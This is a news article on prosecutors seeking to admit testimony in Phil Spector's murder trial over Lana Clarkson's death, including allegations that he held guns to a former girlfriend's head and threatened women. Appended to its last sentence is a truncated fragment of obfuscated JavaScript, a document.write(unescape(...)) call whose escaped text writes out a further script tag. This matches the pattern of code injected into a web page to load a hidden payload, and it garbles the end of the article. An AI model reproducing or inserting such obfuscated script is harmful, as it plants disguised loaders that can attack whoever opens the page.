Legendary music producer Phil Spector held a gun to the head of a former girlfriend and had a history of making threatening remarks to women, prosecutors in his murder trial have alleged.
Spector, who is on trial in Los Angeles for gunning down a B-Movie actress at his mansion in 2003, pointed a gun at Devra Robitaille's head after a party at his home in the mid-1970s, court documents filed late Tuesday alleged.
Prosecutor Alan Jackson said the woman had a romantic relationship with Spector for about one year while she was working at his record company.
According to court documents, the gun ordeal happened when Spector tried to prevent her leaving his home after a party.
"She heard something, turned and suddenly Spector was holding a large shotgun, or rifle, using both hands," Jackson wrote in the court document.
"He placed the gun against her forehead. Spector, who was drunk, made some sort of joke and then said, "Just so you know, I'll blow your (expletive) head off' or 'If you try to leave, I'll blow your (expletive) brains out.'"
Robitaille told Spector to "knock that off and put that away," the court papers said, and she was eventually allowed to leave.
She alleged a similar incident occurred in the mid-1980s, when Spector again put a gun to her head in the foyer of his home.
Prosecutors will ask a judge on Tuesday to allow the testimony, arguing it is evidence of a pattern of threatening behavior involving guns from Spector whenever women try to leave him.
Four other women who claim Spector threatened them are expected to testify in his trial, for which jurors are currently being selected. Opening statements are expected towards the end of April.
In a separate motion, prosecutors also requested the admission of testimony from a former New York police officer who claims to have heard Spector make threatening remarks about women.
According to documents, Vince Tannazzo alleges he twice escorted Spector out of parties during the 1990s after he became involved in altercations.
On one occasion, Tannazzo alleges, Spector declared: "They (women) all deserve to die. They all deserve a bullet in their (expletive) head."
Spector, 67, the reclusive musical genius who pioneered the "Wall of Sound" recording technique, is accused of shooting dead Lana Clarkson at his imposing Alhambra estate on February 3, 2003.
Prosecutors say Spector, famed for his work with The Beatles, Tina Turner, The Righteous Brothers, The Ronettes and the Ramones, killed Clarkson after meeting her for the first time only hours earlier at the Hollywood nightclub where she worked as a hostess.
Spector is regarded as one of the most influential figures in rock-pop music history. In the early 1960s he was responsible for hits including "Da Doo Ron Ron," "Be My Baby, Baby" and "You've Lost That Lovin' Feelin."
Spector, who a few weeks before the shooting described himself as "relatively insane" and tortured by "devils inside me," has strongly denied murder, telling Esquire magazine in 2003 that Clarkson shot herself.
"She kissed the gun," Spector told the magazine.
Clarkson starred in movies such as 1987's "Amazon Women on the Moon" and 1991's "The Haunting of Morella" but her career had stalled at the time of her death.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22